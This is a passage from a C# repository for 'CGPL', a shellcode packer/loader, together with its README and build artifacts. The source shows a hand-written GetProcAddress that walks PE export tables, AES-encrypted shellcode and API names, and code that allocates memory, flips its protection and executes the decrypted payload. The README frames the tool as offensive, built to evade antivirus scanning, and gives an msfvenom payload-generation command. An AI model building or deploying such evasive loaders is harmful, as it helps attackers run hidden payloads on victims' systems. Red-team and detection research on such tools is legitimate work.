491 |
492 | public static IntPtr CiaoGrandeRetrieve(string dllName, string functionNameToLookup) {
493 |
494 |
495 | IntPtr snapshothandle = CreateToolhelp32Snapshot(1 | 2 | 4 | 8, 0);
496 | IntPtr baseAddressDll = GetHandleToModule(snapshothandle, dllName);
497 | if (baseAddressDll == IntPtr.Zero)
498 | {
499 | Console.WriteLine("[-] Error while reading the Process Snapshot");
500 | return IntPtr.Zero;
501 | }
502 | IMAGE_DOS_HEADER DosHeaderDLL = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(baseAddressDll, typeof(IMAGE_DOS_HEADER));
503 | IMAGE_NT_HEADERS64 NtHeadersDLL = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(baseAddressDll + DosHeaderDLL.e_lfanew, typeof(IMAGE_NT_HEADERS64));
504 | IMAGE_OPTIONAL_HEADER64 OptHeaderDll = NtHeadersDLL.OptionalHeader;
505 |
506 | IntPtr exportTablePtr = baseAddressDll + (int)OptHeaderDll.ExportTable.VirtualAddress;
507 | IMAGE_EXPORT_DIRECTORY exportTable = (IMAGE_EXPORT_DIRECTORY)Marshal.PtrToStructure(exportTablePtr, typeof(IMAGE_EXPORT_DIRECTORY));
508 |
509 | IntPtr PtrAddressOfFunction = baseAddressDll + (int)exportTable.AddressOfFunctions;
510 | IntPtr PtrAddressOfNames = baseAddressDll + (int)exportTable.AddressOfNames;
511 |
512 | int NumberOfFunctions = Convert.ToInt32((exportTable.NumberOfNames.ToString("X")), 16);
513 |
514 | for (int i = 0; i < NumberOfFunctions; i++)
515 | {
516 | UInt32 PtrToName = (UInt32)Marshal.ReadInt32(PtrAddressOfNames, (i * sizeof(UInt32)));
517 | String FunctionName = Marshal.PtrToStringAnsi(baseAddressDll + (int)PtrToName);
518 |
519 | if (string.Compare(functionNameToLookup, FunctionName) == 0)
520 | {
521 |
522 | UInt32 PtrToFunction = (UInt32)Marshal.ReadInt32(PtrAddressOfFunction, (i * sizeof(UInt32)));
523 | if ((PtrToFunction + (long)baseAddressDll) >= (long)exportTablePtr && PtrToFunction < ((long)exportTablePtr + OptHeaderDll.ExportTable.Size))
524 |
525 | {
526 |
527 | String Forwarder = Marshal.PtrToStringAnsi(baseAddressDll + (int)PtrToFunction);
528 | string dllNameToLookupF = Forwarder.Split('.')[0] + ".dll";
529 | string functionNameToLookupF = Forwarder.Split('.')[1];
530 | CiaoGrandeRetrieve(dllNameToLookupF, functionNameToLookupF);
531 | }
532 |
533 | return (baseAddressDll + (int)PtrToFunction);
534 |
535 | }
536 |
537 | }
538 | return IntPtr.Zero;
539 | }
540 |
541 |
542 | static void Main(string[] args)
543 | {
544 | string key = "CiaoGrande";
545 | byte[] keyAes = GetSha256(key);
546 |
547 |
548 | string ciaogrande = "V+EgIUykV3QYsX5iDHsUKpRrsS+EiIkIiAcW4FkD+E6KvjcvUAq4z1hsfdH6Ga/KZZSpZv+LOBj4WsC/Pn/q0+RCoNCzt43EvqhYhjyu6ZBx82bfXNwP3C/l3kw9QAPWUEC177JmbRIU1V0///DbyBURxp3HkhFETCF1TPIpHBAX/Nv0m6alLhYLyzJOKhSzzj++giMndQRt20B2uXojD4SCS5eAG3WK8zNyujgKlPPMNHNZJaH0+s6YOOu92dmxPJWK9vVazDiFb7JxpjC9lKJjLVMjDur4bTS2k979XAuWIZmv+KTYjo4P8atK33HRoQSW/w5CQow+ZckrL6DFEY8HkONhx/1hRV6qEc8LfMK9SXG3KIEcyjmbavuerRidAQAKIgm1rIdimLkYrwMSappwkMkwtzYq2RP3pEwplEUWeh3FR8uR9kDWZ2xPdlsFeOL1BcEKunTKu+rjSWg7aO5GvFXx08MWIE7u2AMu2s/RZZBmnqAxVIj/+oQF9tfI";
549 | byte[] buf = Convert.FromBase64String(AesOperation.DecryptString(keyAes,ciaogrande));
550 | int bufSize = buf.Length;
551 | uint oldprotect = 0;
552 | IntPtr VirtualAllocPtr = CiaoGrandeRetrieve(AesOperation.DecryptString(keyAes, "pd6O/2VjBB0VTrEjz216gw=="), AesOperation.DecryptString(keyAes, "pYGzDGbPbfEg8fUiOr9A0Q=="));
553 | IntPtr VirtualProtectPtr = CiaoGrandeRetrieve(AesOperation.DecryptString(keyAes, "pd6O/2VjBB0VTrEjz216gw=="), AesOperation.DecryptString(keyAes, "PztaoByxxEseqHUz8uJOJg=="));
554 |
555 | if (VirtualAllocPtr == IntPtr.Zero || VirtualProtectPtr == IntPtr.Zero) {
556 |
557 | Console.WriteLine("[-] Error retrieving function address");
558 | return;
559 | }
560 |
561 | VirtualAllocHelp va = (VirtualAllocHelp)Marshal.GetDelegateForFunctionPointer(VirtualAllocPtr, typeof(VirtualAllocHelp));
562 | VirtualProtectHelp vp = (VirtualProtectHelp)Marshal.GetDelegateForFunctionPointer(VirtualProtectPtr, typeof(VirtualProtectHelp));
563 |
564 | IntPtr allocatedBufCG = va(IntPtr.Zero, bufSize, 0x00001000, 0x04);
565 | Marshal.Copy(buf, 0, allocatedBufCG, bufSize);
566 | vp(allocatedBufCG, bufSize, 0x20, out oldprotect);
567 |
568 | Execute e = (Execute)Marshal.GetDelegateForFunctionPointer(allocatedBufCG, typeof(Execute));
569 | e();
570 | }
571 | }
572 | }
573 |
--------------------------------------------------------------------------------
/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("OneImportShellcodeRunner")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("OneImportShellcodeRunner")]
13 | [assembly: AssemblyCopyright("Copyright © 2023")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("f5ac61be-90e1-4a44-aabb-f9b4fb60cb84")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CGPL - Yet, Another Packer/Loader
2 |
3 | After going through the OSEP certification material and other nice courses about Offensive C# around the web, I've decided that it was time to share something I wrote.
4 | CGPL (*naming convention of my tools is annoying, I know*) is a packer/loader written in C# with the following feature (*planning to make this list bit longer in the future*):
5 |
6 | * My very own **GetProcAddress** (*parsing PE headers is such a joy*) and **GetModuleHandle** (*decided to go for CreateToolhelp32Snapshot*) implementation to dynamically fetch the address of the Win32 API I wanted to use
7 | * **AES encryption** with a **SHA256 derived key** (*must admit got inspiration from some APT guys*) for payload and Win32 api function names (*delegates might still drop suspicious strings around, but you can also change those names*)
8 | * It does not dare to allocate a memory buffer which is READWRITEEXEC at the same time
9 |
10 |
11 | ## Usage
12 |
13 | Change the shellcode and compile (*platform target x64*), unless you just want to pop calc.exe up.
14 |
15 | ```bash
16 | winbo:~$msfvenom --platform windows --arch x64 -p windows/x64/exec CMD=calc.exe -f raw -o test.bin
17 | winbo:~$cat test.bin | base64 -w0
18 | ```
19 |
20 | The AesOperation.cs class implements also the *encrypt* function, so an entra *Console.WriteLine(...)* is needed to see how your payload would look like all encrypted (*tutto cablato*).
21 | Also useful if you want to change the Win32 API I use with some other exotic ones.
22 |
23 | ## Some AI motivation
24 |
25 | 
26 |
27 | ## Results
28 |
29 | Che Bello (at least the last time I have tried):
30 |
31 | 
32 |
--------------------------------------------------------------------------------
/bin/Debug/CGPL.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/bin/Release/CGPL.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/bin/Release/OneImportShellcodeRunner.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/img/aimotivation.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oldboy21/CGPL/9ae1e1350e6b3b56dfe4cf3c8ef86a36abb983e8/img/aimotivation.png
--------------------------------------------------------------------------------
/img/antiscan.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oldboy21/CGPL/9ae1e1350e6b3b56dfe4cf3c8ef86a36abb983e8/img/antiscan.png
--------------------------------------------------------------------------------
/obj/Debug/.NETFramework,Version=v4.8.AssemblyAttributes.cs:
--------------------------------------------------------------------------------
1 | //
2 | using System;
3 | using System.Reflection;
4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]
5 |
--------------------------------------------------------------------------------
/obj/Debug/CGPL.csproj.AssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oldboy21/CGPL/9ae1e1350e6b3b56dfe4cf3c8ef86a36abb983e8/obj/Debug/CGPL.csproj.AssemblyReference.cache
--------------------------------------------------------------------------------
/obj/Debug/CGPL.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | 452edc7af7763c2b599c080026e39935df66552e
2 |
--------------------------------------------------------------------------------
/obj/Debug/CGPL.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\Winbo\Personal\OffensiveC#\CGPL\bin\Debug\CGPL.exe.config
2 | C:\Users\Winbo\Personal\OffensiveC#\CGPL\bin\Debug\CGPL.exe
3 | C:\Users\Winbo\Personal\OffensiveC#\CGPL\bin\Debug\CGPL.pdb
4 | C:\Users\Winbo\Personal\OffensiveC#\CGPL\obj\Debug\CGPL.csproj.AssemblyReference.cache
5 | C:\Users\Winbo\Personal\OffensiveC#\CGPL\obj\Debug\CGPL.csproj.SuggestedBindingRedirects.cache
6 | C:\Users\Winbo\Personal\OffensiveC#\CGPL\obj\Debug\CGPL.csproj.CoreCompileInputs.cache
7 | C:\Users\Winbo\Personal\OffensiveC#\CGPL\obj\Debug\CGPL.exe
8 | C:\Users\Winbo\Personal\OffensiveC#\CGPL\obj\Debug\CGPL.pdb
9 |
--------------------------------------------------------------------------------
/obj/Debug/CGPL.csproj.SuggestedBindingRedirects.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oldboy21/CGPL/9ae1e1350e6b3b56dfe4cf3c8ef86a36abb983e8/obj/Debug/CGPL.csproj.SuggestedBindingRedirects.cache
--------------------------------------------------------------------------------
/obj/Debug/DesignTimeResolveAssemblyReferences.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oldboy21/CGPL/9ae1e1350e6b3b56dfe4cf3c8ef86a36abb983e8/obj/Debug/DesignTimeResolveAssemblyReferences.cache
--------------------------------------------------------------------------------
/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oldboy21/CGPL/9ae1e1350e6b3b56dfe4cf3c8ef86a36abb983e8/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/obj/Debug/OneImportShellcodeRunner.csproj.AssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oldboy21/CGPL/9ae1e1350e6b3b56dfe4cf3c8ef86a36abb983e8/obj/Debug/OneImportShellcodeRunner.csproj.AssemblyReference.cache
--------------------------------------------------------------------------------
/obj/Debug/OneImportShellcodeRunner.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | 452edc7af7763c2b599c080026e39935df66552e
2 |
--------------------------------------------------------------------------------
/obj/Debug/OneImportShellcodeRunner.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\Winbo\OffensiveC#\OffensiveC-Scripts\Utils\OneImportShellcodeRunner\bin\Debug\OneImportShellcodeRunner.exe.config
2 | C:\Users\Winbo\OffensiveC#\OffensiveC-Scripts\Utils\OneImportShellcodeRunner\bin\Debug\OneImportShellcodeRunner.exe
3 | C:\Users\Winbo\OffensiveC#\OffensiveC-Scripts\Utils\OneImportShellcodeRunner\bin\Debug\OneImportShellcodeRunner.pdb
4 | C:\Users\Winbo\OffensiveC#\OffensiveC-Scripts\Utils\OneImportShellcodeRunner\obj\Debug\OneImportShellcodeRunner.csproj.AssemblyReference.cache
5 | C:\Users\Winbo\OffensiveC#\OffensiveC-Scripts\Utils\OneImportShellcodeRunner\obj\Debug\OneImportShellcodeRunner.csproj.SuggestedBindingRedirects.cache
6 | C:\Users\Winbo\OffensiveC#\OffensiveC-Scripts\Utils\OneImportShellcodeRunner\obj\Debug\OneImportShellcodeRunner.csproj.CoreCompileInputs.cache
7 | C:\Users\Winbo\OffensiveC#\OffensiveC-Scripts\Utils\OneImportShellcodeRunner\obj\Debug\OneImportShellcodeRunner.exe
8 | C:\Users\Winbo\OffensiveC#\OffensiveC-Scripts\Utils\OneImportShellcodeRunner\obj\Debug\OneImportShellcodeRunner.pdb
9 |
--------------------------------------------------------------------------------
/obj/Debug/OneImportShellcodeRunner.csproj.SuggestedBindingRedirects.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oldboy21/CGPL/9ae1e1350e6b3b56dfe4cf3c8ef86a36abb983e8/obj/Debug/OneImportShellcodeRunner.csproj.SuggestedBindingRedirects.cache
--------------------------------------------------------------------------------
/obj/Release/.NETFramework,Version=v4.8.AssemblyAttributes.cs:
--------------------------------------------------------------------------------
1 | //
2 | using System;
3 | using System.Reflection;
4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]
5 |
--------------------------------------------------------------------------------
/obj/Release/CGPL.csproj.AssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oldboy21/CGPL/9ae1e1350e6b3b56dfe4cf3c8ef86a36abb983e8/obj/Release/CGPL.csproj.AssemblyReference.cache
--------------------------------------------------------------------------------
/obj/Release/CGPL.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | 0ed161fd9d399e6e00a1eafb5b35a568b5067051
2 |
--------------------------------------------------------------------------------
/obj/Release/CGPL.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\Winbo\Personal\OffensiveC#\CGPL\bin\Release\CGPL.exe.config
2 | C:\Users\Winbo\Personal\OffensiveC#\CGPL\bin\Release\CGPL.exe
3 | C:\Users\Winbo\Personal\OffensiveC#\CGPL\bin\Release\CGPL.pdb
4 | C:\Users\Winbo\Personal\OffensiveC#\CGPL\obj\Release\CGPL.csproj.AssemblyReference.cache
5 | C:\Users\Winbo\Personal\OffensiveC#\CGPL\obj\Release\CGPL.csproj.SuggestedBindingRedirects.cache
6 | C:\Users\Winbo\Personal\OffensiveC#\CGPL\obj\Release\CGPL.csproj.CoreCompileInputs.cache
7 | C:\Users\Winbo\Personal\OffensiveC#\CGPL\obj\Release\CGPL.exe
8 | C:\Users\Winbo\Personal\OffensiveC#\CGPL\obj\Release\CGPL.pdb
9 |
--------------------------------------------------------------------------------
/obj/Release/CGPL.csproj.SuggestedBindingRedirects.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oldboy21/CGPL/9ae1e1350e6b3b56dfe4cf3c8ef86a36abb983e8/obj/Release/CGPL.csproj.SuggestedBindingRedirects.cache
--------------------------------------------------------------------------------
/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oldboy21/CGPL/9ae1e1350e6b3b56dfe4cf3c8ef86a36abb983e8/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/obj/Release/OneImportShellcodeRunner.csproj.AssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oldboy21/CGPL/9ae1e1350e6b3b56dfe4cf3c8ef86a36abb983e8/obj/Release/OneImportShellcodeRunner.csproj.AssemblyReference.cache
--------------------------------------------------------------------------------
/obj/Release/OneImportShellcodeRunner.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | 0ed161fd9d399e6e00a1eafb5b35a568b5067051
2 |
--------------------------------------------------------------------------------
/obj/Release/OneImportShellcodeRunner.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | C:\Users\Winbo\OffensiveC#\OffensiveC-Scripts\Utils\OneImportShellcodeRunner\bin\Release\OneImportShellcodeRunner.exe.config
2 | C:\Users\Winbo\OffensiveC#\OffensiveC-Scripts\Utils\OneImportShellcodeRunner\bin\Release\OneImportShellcodeRunner.exe
3 | C:\Users\Winbo\OffensiveC#\OffensiveC-Scripts\Utils\OneImportShellcodeRunner\bin\Release\OneImportShellcodeRunner.pdb
4 | C:\Users\Winbo\OffensiveC#\OffensiveC-Scripts\Utils\OneImportShellcodeRunner\obj\Release\OneImportShellcodeRunner.csproj.AssemblyReference.cache
5 | C:\Users\Winbo\OffensiveC#\OffensiveC-Scripts\Utils\OneImportShellcodeRunner\obj\Release\OneImportShellcodeRunner.csproj.SuggestedBindingRedirects.cache
6 | C:\Users\Winbo\OffensiveC#\OffensiveC-Scripts\Utils\OneImportShellcodeRunner\obj\Release\OneImportShellcodeRunner.csproj.CoreCompileInputs.cache
7 | C:\Users\Winbo\OffensiveC#\OffensiveC-Scripts\Utils\OneImportShellcodeRunner\obj\Release\OneImportShellcodeRunner.exe
8 | C:\Users\Winbo\OffensiveC#\OffensiveC-Scripts\Utils\OneImportShellcodeRunner\obj\Release\OneImportShellcodeRunner.pdb
9 |
--------------------------------------------------------------------------------
/obj/Release/OneImportShellcodeRunner.csproj.SuggestedBindingRedirects.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/oldboy21/CGPL/9ae1e1350e6b3b56dfe4cf3c8ef86a36abb983e8/obj/Release/OneImportShellcodeRunner.csproj.SuggestedBindingRedirects.cache
--------------------------------------------------------------------------------